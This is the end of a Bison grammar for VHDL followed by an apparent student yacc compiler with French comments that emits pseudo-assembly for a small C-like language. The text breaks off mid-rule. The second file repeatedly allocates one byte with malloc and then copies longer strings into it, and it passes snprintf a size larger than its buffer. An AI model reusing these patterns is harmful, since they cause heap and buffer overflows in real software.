_sequence_of_concurrent_statements _generate_statement_body_end {
$$ = new VhdlParseTreeNode(PT_GENERATE_BODY);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
}
_generate_statement_body_end:
KW_END ';' { $$ = nullptr; }
| KW_END identifier ';' { $$ = $2; }
////////////////////// Scope and visibility, section 12 //////////////////////
use_clause:
KW_USE _one_or_more_selected_names ';' {
$$ = new VhdlParseTreeNode(PT_USE_CLAUSE);
$$->pieces[0] = $2;
}
_one_or_more_selected_names:
selected_name
| _one_or_more_selected_names ',' selected_name {
$$ = new VhdlParseTreeNode(PT_SELECTED_NAME_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
///////////////// Design units and their analysis, section 13 /////////////////
/// Section 13.1
design_file:
design_unit
| design_file design_unit {
$$ = new VhdlParseTreeNode(PT_DESIGN_FILE);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
design_unit:
context_clause library_unit {
$$ = new VhdlParseTreeNode(PT_DESIGN_UNIT);
$$->pieces[0] = $2;
$$->pieces[1] = $1;
}
// Store line number information
library_unit: _library_unit { STORE_LOC($$, @$); }
_library_unit:
primary_unit
| secondary_unit
primary_unit:
entity_declaration
| configuration_declaration
| package_declaration
| package_instantiation_declaration
| context_declaration
secondary_unit:
architecture_body
| package_body
/// Section 13.2
library_clause:
KW_LIBRARY identifier_list ';' {
$$ = new VhdlParseTreeNode(PT_LIBRARY_CLAUSE);
$$->pieces[0] = $2;
}
/// Section 13.3
context_declaration:
_real_context_declaration ';'
| _real_context_declaration KW_CONTEXT ';'
| _real_context_declaration identifier ';' {
$$ = $1;
$$->pieces[2] = $2;
}
| _real_context_declaration KW_CONTEXT identifier ';' {
$$ = $1;
$$->pieces[2] = $3;
}
_real_context_declaration:
KW_CONTEXT identifier KW_IS context_clause KW_END {
$$ = new VhdlParseTreeNode(PT_CONTEXT_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
}
/// Section 13.4
context_clause:
%empty
| _real_context_clause
_real_context_clause:
context_item
| _real_context_clause context_item {
$$ = new VhdlParseTreeNode(PT_CONTEXT_CLAUSE);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
context_item:
library_clause
| use_clause
| context_reference
context_reference:
KW_CONTEXT _one_or_more_selected_names ';' {
$$ = new VhdlParseTreeNode(PT_CONTEXT_REFERENCE);
$$->pieces[0] = $2;
}
//////////////////////// Lexical elements, section 15 ////////////////////////
/// Section 15.4
identifier:
basic_identifier
| extended_identifier
basic_identifier: TOK_BASIC_ID
extended_identifier: TOK_EXT_ID
/// Section 15.5
abstract_literal:
decimal_literal
| based_literal
decimal_literal: TOK_DECIMAL
based_literal: TOK_BASED
/// Section 15.6
character_literal: TOK_CHAR
/// Section 15.7
string_literal: TOK_STRING
/// Section 15.8
bit_string_literal: TOK_BITSTRING
%%
|
<reponame>jodorganistaca/Projet_SI<gh_stars>0
%{
#include <stdio.h>
#include <stdlib.h>
#include "linkedList.h"
#include "y.tab.h"
#define SIZE_TEMP 20
// SIZE_TEMP => adresse retour et Taille de variable temporaire
extern int yylineno;
void yyerror(char *s);
int depth = 0;
int depthIF = 0;
int memdepth=0;
int add;
char type[SIZE_TEMP];
char value[SIZE_TEMP];
char operat[4];
int d = -1; // rajouter une erreur s'il n'est pas à -1 à la fin { } non fermée
int o = -1;
int p=-1;
int cptfcarg = -1;
int debuto[SIZE_TEMP];
int compteurdeif[SIZE_TEMP];
int compteurfonction[SIZE_TEMP];
int compteurarguments[SIZE_TEMP];
int retour;
int paramfunc=0;
int pose=0;
int f = -1; //index to get the actual function
int compteurELSIF[SIZE_TEMP];
int error = 0;
int function_detected=0;
char ArgumentsFonction[38]="";
char * Tableau[20][20];
int nb_param=0;
int boolean;
int pile[40];
char* instructions[256][4];
int compteurinstructions=0;
int FinStruct=0;
int finlecture=-1;
int temp =0;
int adrfunc;
int valueInt;
char si[38]=""; // Taille d'un integer
FILE *finstructions;
FILE *fp;
// ecriture dans un tableau de fonction du type tableaufonction[fonction][ligne][colonne]
// Creer une fonction qui cherche Variable fonction et retourne un nombre de param et adresse associé
// tq pointeur struct id, nb_param, add INT INT INT
// REGLER LE SOUCIS DE VARIABLE NON DEFINIE DANS LE CAS DUNE FONCTION (On peut creer directement au debut les paramètres demandés puis les supprimer par la suite)
// exemple Insertnode(.. a .. depth+1) et dans l'appel de fonction changer la valeur de ... a .. depth+1
%}
%union
{
char char_val;
int int_val;
double double_val;
char* str_val;
int nline;
}
%token <int_val> tIF tELSE tELSIF tWHILE tPRINTF tET tCHAR tMAIN tCONST tINTEGER tSPACE tTAB tBACKSPACE tCOMA tSEMICOLON tGEQ tLEQ tBE tINF tSUP tNEWL tEXPO tCOMMENT
%token <int_val> tVOID tPLUS tMOINS tMULT tDIV tPOW tEQUAL tAND tOR tPOPEN tPCLOSE tAOPEN tACLOSE tCOPEN tCCLOSE tERROR tTRUE tFALSE tRETURN
%token <double_val> tDEC tAPOS
%token <char_val> tCHARACTER
%token <str_val> tVARNAME tFLOAT tINT
%type <str_val> type
%type <int_val> calcul_multiple
%type <int_val> conditional_expression
%type <int_val> condition
%type <int_val> conditioner
%type <int_val> main
%type <int_val> expression_return
%type <int_val> statement
%type <int_val> expression
%type <int_val> declaration_pointeur
%type <str_val> variable_multiple
%type <str_val> expression_arithmetic
%right tEQUAL
%left tMOINS tPLUS
%left tMULT tDIV
%left tPOPEN tPCLOSE
%start go
%%
// $first priorité sur les parenthèse et division multiplier
//Penser à fonction imbriqués
/* {
printf("ERROR 2 \n");
}*/
go
:main //{printf("%d \n",$1);}
;
main
: tMAIN tPOPEN tPCLOSE statement //{printList(); }
/* if(d !=-1){
yyerror("Curly brace error in your statement \n");
}}*/ //printf("Bien lu\n");
|tINT tMAIN tPOPEN tPCLOSE {instructions[0][0]="JMP";
//printf("/-/-////////////////\n");
// instructions[compteurinstructions][0]="JMP";
//instructions[compteurinstructions][1]=compteurfonction[f];
//f--;
// adresse retour
// compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
instructions[0][1]=malloc(1);
strcpy(instructions[0][1],si);} statement
{
//printf("Error main %d \n",$6);
$$=$6; //printList();
}
| function main // Jump de début vers function est noté dans la variable name , le retour sur une variable LR qui sera traitée par l'interpréteur
;
statement
: tAOPEN expression tACLOSE {$$=$2;}//{ printf("Profondeur %d",depth);}
;
expression
: expression expression
| expression_arithmetic {$$=$1;}
| iteration_statement {$$=0;}
| expression_print {$$=0;}
| expression_return {$$=$1;}
// | expression_fonction // APPEL DE FONCTION
;
// FUNCTION A TERMINER SOUCIS DE RACCORD ENTRE VARIABLE +
function
: tINT tVARNAME tPOPEN tPCLOSE {add=insertFunction($2,0);
f++;
if (function_detected==0){
compteurinstructions++;
function_detected++;
} //à mettre pour la première fonction
insertNode($2,"Function",compteurinstructions+1,0);depth=add+1;} statement
{
//retiens le début de la fonction
// changeValuebyadd(retour,"int",$6);
//AFC Retour temporaire
instructions[compteurinstructions][0]="LR";
compteurinstructions++;
//deletebyDepth(depth);
depth=0;
}
// | tVOID tVARNAME tPOPEN tPCLOSE statement { printf("ERROR 6 \n"); }
| tINT tVARNAME tPOPEN {add=insertFunction($2,0);depth=add+1;}parameters tPCLOSE {
if (function_detected==0){
compteurinstructions++;
function_detected++;
}
// int $2 = cptfcarg++;
//compteurarguments[$2]=nb_param;
ChangeParam($2,nb_param+1);
pose++;
nb_param=0; //à mettre pour la première fonction
insertNode($2,"Function",compteurinstructions+1,0);
//printf("profondeur après %d",depth);
} statement
{
//retiens le début de la fonction
// changeValuebyadd(retour,"int",$6);
//AFC Retour temporaire
instructions[compteurinstructions][0]="LR";
compteurinstructions++;
// deletebyDepth(depth);
depth=0;
}
//| function function
;
parameters
: tINT tVARNAME {
//printf("profondeur %d",add+1);
//strcpy(ArgumentsFonction,$2);
Tableau[pose][nb_param]=malloc(1);
strcpy(Tableau[pose][nb_param],$2);
//printf("CECI EST L'ARGUMENT %d %s\n",nb_param,Tableau[pose][nb_param]);
insertNode($2,"int",0,depth);}
//| tCHAR tVARNAME
| tINT tVARNAME {
//printf("nombre de param %d prof %d",nb_param,depth);
Tableau[pose][nb_param]=malloc(1);
strcpy(Tableau[pose][nb_param],$2);
//printf("CECI EST L'ARGUMENT %d %s\n",nb_param,Tableau[pose][nb_param]);
nb_param++;
insertNode($2,"int",0,depth);
} tCOMA parameters // compteur d'arguments
;
// : type tVARNAME tEQUAL tAPOS tVARNAME tAPOS tSEMICOLON // string dans file, on peut transformer en ascii sur un registre et le traduire lorsqu'appelé
// ok ?
// peut être rentré dans variable multiple
declaration_pointeur
: tINT tMULT tVARNAME {
$$=0;
add = insertNode($3,"Pointer",-256,depth); //sans adresse
}
| tINT tMULT tVARNAME tEQUAL calcul_multiple{
// printf("Cas de pointeur %d \n",$5);
temp=(temp+1)%(SIZE_TEMP-1);
add = insertNode($3,"Pointer",Value($5),depth);
instructions[compteurinstructions][0]="AFC";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", Value($5));
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
$$=0;
}
|tMULT tVARNAME tEQUAL calcul_multiple {
//printf("TEST %d %s",$4,$2);
add = Value(findByID($2,depth));
// printf("addresse normal %d et son type \n",add);
/* // Problème ici pour dire que const n'est pas modif
printf("addresse normal %d et son type %s\n",add,TypeByID(add));
char t[SIZE_TEMP] = "const";
if (strcmp(t,TypeByID(add))==0){
printf("Constante inmodifiable ligne %d\n",compteurinstructions);
yyerror("cannot be altered\n");
error = 1;
break;
}
*/
changeValuebyadd(add,type,Value($4));
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $4);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
$$=0;
}
;
expression_return
: tRETURN calcul_multiple tSEMICOLON {
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", SIZE_TEMP-1);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $2);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;; $$=$2;
// printf("Return %d \n", $2);
}
;
expression_arithmetic
:type variable_multiple tSEMICOLON {$$=0;} //prendre en compte le cas int a=2, b=4 , c=5;
//{type=$1;}
//VARNAME DONNE
| tVARNAME tEQUAL calcul_multiple tSEMICOLON /* cas où l'on change la value d'une variable existante a = 1+7+a-b*/
{
add= findByID($1,depth);
//printf("l'adresse %d\n",add);
if (add==-1){
printf("Variable %s non définie ligne %d \n",$1, yylineno/2+1);
yyerror("undefined \n");
error = 1;
break;
}
char t[20] = "const";
if (strcmp(t,TypeByID($1))==0){
printf("Constante %s inmodifiable ligne %d\n", $1 ,yylineno/2+1);
yyerror("cannot be altered\n");
error = 1;
break;
}
changeValuebyadd(add,type,Value($3));
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
$$=0;
// compteurinstructions++;
}
| declaration_pointeur tSEMICOLON;
;
expression_print
: tPRINTF tPOPEN tVARNAME tPCLOSE tSEMICOLON {
// printf("AAAAAAAAAAA");
// fprintf(fp,"PRI %s\n", $3);
add= findByID($3,depth);
if (add==-1){
printf("variable %s non définie error ligne %d\n ", $3,yylineno/2+1);
yyerror("undefined\n");
error = 1;
break;
}
if (Value(add)==-256){
printf("Valeur %s null non initée ligne %d\n",$3,yylineno/2+1);
yyerror("NULL\n");
error = 1;
break;
}
instructions[compteurinstructions][0]="PRI";
instructions[compteurinstructions][1]=malloc(1);
snprintf( si, 39, "%d", add);
strcpy(instructions[compteurinstructions][1],si);
compteurinstructions++;
}//{printf($2);}
| tPRINTF tPOPEN tMULT tVARNAME tPCLOSE tSEMICOLON {
// fprintf(fp,"PRI %s\n", $3);
add= Value(findByID($4,depth));
// printf("CETTE VALEUR %d",add);
if (add==-1){
printf("variable %s non définie error ligne %d\n ", $4,yylineno/2+1);
yyerror("undefined\n");
error = 1;
break;
}
// printf("Value(add) %d\n",Value(add));
if (Value(add)==(-256)){
printf("Constante %s inmodifiable ligne %d\n", $1,yylineno/2+1);
yyerror("NULL\n");
error = 1;
break;
}
instructions[compteurinstructions][0]="PRI";
instructions[compteurinstructions][1]=malloc(1);
snprintf( si, 39, "%d", add);
strcpy(instructions[compteurinstructions][1],si);
compteurinstructions++;
}
;
type
: tINT
{
// printf("%s\n", $1);
strcpy(type, "int");
$$ = type;
}
| tCONST
{
strcpy(type, "const");
$$ = type;
}
/* | tINT tMULT tVARNAME
{
$$ = $2;
}
*/
/*| tFLOAT
{
//strcpy(type, $1);
}*/
/*| tCHAR
{
//strcpy(type, $1);
}*/
;
variable_multiple
: tVARNAME tEQUAL calcul_multiple
{
//depth++;
/* printf("typeeeeee %s\n", type);
printf("varName %s\n", $1);
printf("Value %d\n",valueInt);*/
// printf("Depth !!!%d\n", depth);
// print("%s",type);
//if (!($3 ==1 || $3 ==0)) {
if (findByID($1,depth) != -1){
printf("variable %s déjà instanciée error ligne %d\n ", $1, yylineno/2+1);
yyerror("already instantiated\n ");
error = 1;
break;
}
add = insertNode($1,type,Value($3),depth);
// printf("ma val %d",Value($3));
// printList();
// add = findByID($1);
/*}else{
add = insertNode($1,type,Value($3),0);
}*/
fprintf(fp,"COP %d %d\n", add, $3); // add 0 1 temp
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
/* printf("teeesst %s\n", yylval.str_val);
insertNode(yylval.str_val,type,depth);
printf("insertioooon %s\n", yylval.str_val);
printList(); */
}
| variable_multiple tCOMA variable_multiple
| tVARNAME
{ if (findByID($1,depth) != -1){
printf("variable %s déjà instanciée error ligne %d\n ", $1, yylineno/2+1);
yyerror("already instantiated\n ");
error = 1;
break;
}
add = insertNode($1,type,-256,depth);
}// cas triviaux a
;
calcul_multiple
: calcul_multiple tPLUS calcul_multiple
{
// printf("--------------------ADDITION---------------\n"); //test correct
// printf("%d ++++++ %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%(SIZE_TEMP-1);
valueInt= Value($1)+Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"ADD %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="ADD";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple tMOINS calcul_multiple
{
// printf("--------------------SOUSTRACTION---------------\n"); //test correct
// printf(" %d - %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%(SIZE_TEMP-1);
valueInt= Value($1)-Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"SOU %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="SOU";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple tMULT calcul_multiple
{
// printf("--------------------Multiplication---------------\n");
// printf(" %d * %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%(SIZE_TEMP-1);
valueInt= Value($1)*Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
//fprintf(fp,"MUL %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="MUL";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| calcul_multiple tDIV calcul_multiple
{
// printf("--------------------Division---------------\n");
// printf(" %d / %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,depth);
temp = (temp+1)%(SIZE_TEMP-1);
valueInt= Value($1)/Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
//fprintf(fp,"DIV %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
instructions[compteurinstructions][0]="DIV";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;
}
| tPOPEN calcul_multiple tPCLOSE {$$=$2;}
//Cas triviaux Integer / Variable pré déf ou decimal
| tINTEGER
{
// printf("%d\n", yylval.int_val);
// printf("value integer %d\n", $1);
//sprintf(value,"%d",$1);
temp = (temp +1)%(SIZE_TEMP-1);
changeValuebyadd(temp,"int",$1);
//printList();
fprintf(fp,"AFC %d %d\n", temp, $1); // affecter à une valeur temporaire, trouver un moyen d'avoir une adresse différente en adresse temporaire
// printf("temp val integer %d\n",temp);
$$ = temp;
instructions[compteurinstructions][0]="AFC";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
}
| tVARNAME
{
// printf("tVARNAME %s\n", $1);
// printf("value integer %d\n", findByID($1));
// printf("%s %s %d\n",$1,$1,depth);
add =findByID($1,depth);
if (add==-1){
printf("variable %s non définie error ligne %d\n ", $1, yylineno/2+1);
yyerror("undefined\n");
error = 1;
break;
}
$$=add;
//printf("Le varName :%d",$1);
}
| tDEC {printf("%.2f\n", yylval.double_val);}
| tMULT tVARNAME {
add =findByID($2,depth);
if (add==-1){
printf("variable %s non définie error ligne %d\n ", $1, yylineno/2+1);
yyerror("undefined\n");
error = 1;
break;
}
$$ = Value(add);
}
| tET tVARNAME {
add = findByID($2,depth);
temp = (temp+1)%(SIZE_TEMP-1);
changeValuebyadd(temp,type,add);
instructions[compteurinstructions][0]="AFC";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", add);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
changeValuebyadd(temp,"int",add);
$$ = temp;
}
| tVARNAME tPOPEN tPCLOSE {
//insertnode
//compteurinstructions ++, JMP value($1),
// f++, compteurfunction[f]=Compteur instruction;, temp=(temp+1)%20 , $$=temp
//printf("ERROR 5 \n");
// f++;
instructions[compteurinstructions][0]="BJ";
snprintf( si, 39, "%d", Value(findByID($1,0)));
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
compteurinstructions++;
//compteurfonction[f]=compteurinstructions;
$$=SIZE_TEMP-1;
}
|tVARNAME tPOPEN {
memdepth=depth;finlecture=p; nb_param=0;adrfunc= findFunction($1);depth = adrfunc+1;
// printf("FUN?CTION %s ADR %d\n",$1,adrfunc);
paramfunc=findParam($1);
} Param tPCLOSE
{
if ( nb_param < paramfunc){
yyerror("nombre de paramètres non respecté, pas assez de paramètre \n");
}
// printf("PROF FUNCTION A %d \n",depth);
instructions[compteurinstructions][0]="BJ";
snprintf( si, 39, "%d", Value(findByID($1,0)));
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
compteurinstructions++;
for(p; p>finlecture; p=p-2){
// printf("Tableau =%s \n",Tableau[1][2]);
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", pile[p]);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", pile[p-1]);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
changeValuebyadd(pile[p],"int",pile[p-1]);
}
depth = memdepth;
$$=SIZE_TEMP-1;
}
;
Param
:tVARNAME {
if ( nb_param == paramfunc){
yyerror("nombre de paramètres non respecté, trop de paramètre \n");
}
// printf("PROFONDEUR DEPTH %d %s\n",depth+1,Tableau[adrfunc][nb_param]);
p++;pile[p]=findByID($1,memdepth);p++;pile[p]=findByID($1,memdepth);
depth= adrfunc+1;
// printf("je retiens %d %d profondeur %d \n",pile[p],pile[p-1],depth);
changeValueadd(Tableau[adrfunc][nb_param],"int",pile[p],depth);
instructions[compteurinstructions][0]="COP";
snprintf( si, 39, "%d", findByID(Tableau[adrfunc][nb_param],depth));
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", pile[p-1]);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
compteurinstructions++;
nb_param++;
depth = memdepth;
}
|Param tCOMA Param
;
iteration_statement
: tWHILE conditioner {boolean=$2;
d++;
compteurdeif[d]=compteurinstructions;
instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
d++;
compteurdeif[d]=compteurinstructions;
//printf("LE COMPTEUR AFFICHE %d \n",compteurdeif[d]);
compteurinstructions++;
depthIF++;
} statement {
instructions[compteurinstructions][0]="JMP";
snprintf( si, 39, "%d", compteurdeif[d-1]);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si); d=d-2;} //rajouter JMP au debut du while avec test condition à chaque fin de while
| tIF conditioner {
// printf("rapide\n");
boolean=$2;
instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
d++;
compteurdeif[d]=compteurinstructions;
// printf("LE COMPTEUR AFFICHE %d \n",compteurdeif[d]);
compteurinstructions++;
depthIF++;
} statement BlocIf
//| tIF conditioner {printf("t3\n");depth++;} statement elsif {deletebyDepth(depth); depth--;}
// je retiens d pour jump au prochain elsif j'efface ce d et le réutilise pour le prochain jump elsif ?
// on peut utiliser un tableau qui retient une vingtaine de d pour les elsif imbriqués
// en même temps je créé un d+1 d+2 d+3 pour le jump vers fin du bloc if-elsif à la fin de chaque statement
;
BlocIf
:
{snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--;
// printf("Je supprime %d\n",depth);
depthIF--;
} // free depth
|
{instructions[compteurinstructions][0]="JMP";
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
d++;
compteurdeif[d]=compteurinstructions;
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d-1]][2],si);
}
tELSE statement
{
snprintf( si, 39, "%d", compteurinstructions+1);strcpy(instructions[compteurdeif[d]][1],si); d=d-2;
}
|{
o++;
depthIF--;
debuto[depthIF]=o;
instructions[compteurinstructions][0]="JMP";
instructions[compteurinstructions][1]=malloc(1);
compteurELSIF[o]=compteurinstructions;
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; }
tELSIF conditioner
{
// printf("boolean %d",$3);
boolean = $3; instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);
d++;
compteurdeif[d]=compteurinstructions;
compteurinstructions++;}
statement
{o++;instructions[compteurinstructions][0]="JMP"; // Faire un ELSIF
compteurELSIF[o]=compteurinstructions;
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; }
elsif {depthIF--;}
;
elsif
: tELSIF conditioner
{
boolean = $2; instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);
d++;
compteurdeif[d]=compteurinstructions;
compteurinstructions++;}
statement
{o++;instructions[compteurinstructions][0]="JMP"; // Faire un ELSIF
compteurELSIF[o]=compteurinstructions;
compteurinstructions++;
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; }
elsif
|tELSE statement finelsif
| finelsif
;
finelsif
: { for (o; o>debuto[depthIF]-1;o--){
// printf("ça c'est o :%d et debuto depth %d\n",o,debuto[depth]);
// printf("cpt %d\n",compteurELSIF[o]);
instructions[compteurELSIF[o]][1]=malloc(1);
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurELSIF[o]][1],si);
}
}
;
//non opti avec JMP en trop
// tELSIF conditioner statement
/* |tELSIF conditioner {printf("ça bug ? \n");
boolean = $2; instructions[compteurinstructions][0]="JMF";
snprintf( si, 39, "%d", boolean);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", compteurinstructions);
instructions[compteurinstructions][2]=malloc(1);} statement {
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurdeif[d]][2],si);
d--; }{ for (o; o>-1;o--){
printf("un peu bcp %d\n",compteurELSIF[o]);
instructions[compteurELSIF[o]][1]=malloc(1);
snprintf( si, 39, "%d", compteurinstructions+1);
strcpy(instructions[compteurELSIF[o]][1],si);
}
}*/
conditional_expression
: condition {
// printf("condition ici %d\n",$1);
$$=$1;
} // valeur 0 ou 1
| condition tOR conditional_expression {
temp = (temp +1)%(SIZE_TEMP-1);
$$=temp;
valueInt= Value($1)+Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
instructions[compteurinstructions][0]="ADD";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;} // addition des valeurs si la somme est nulle alors le résultat est faux
| condition tAND conditional_expression {// ici si la multiplication est nulle alors le and est faux // renvoyer l'adresse add en $
temp = (temp +1)%(SIZE_TEMP-1);
$$=temp;
valueInt= Value($1)*Value($3);
// printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
instructions[compteurinstructions][0]="MUL";
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
strcpy(instructions[compteurinstructions][3],si);
compteurinstructions++;} // faire une multiplication des deux conditions
;
condition
: calcul_multiple tBE calcul_multiple {
temp = (temp+1)%(SIZE_TEMP-1);
fprintf(fp,"EQU %d %d %d\n", temp, $1, $3);
instructions[compteurinstructions][0]="EQU";
$$=temp;
snprintf( si, 39, "%d", temp);
instructions[compteurinstructions][1]=malloc(1);
strcpy(instructions[compteurinstructions][1],si);
snprintf( si, 39, "%d", $1);
instructions[compteurinstructions][2]=malloc(1);
strcpy(instructions[compteurinstructions][2],si);
snprintf( si, 39, "%d", $3);
instructions[compteurinstructions][3]=malloc(1);
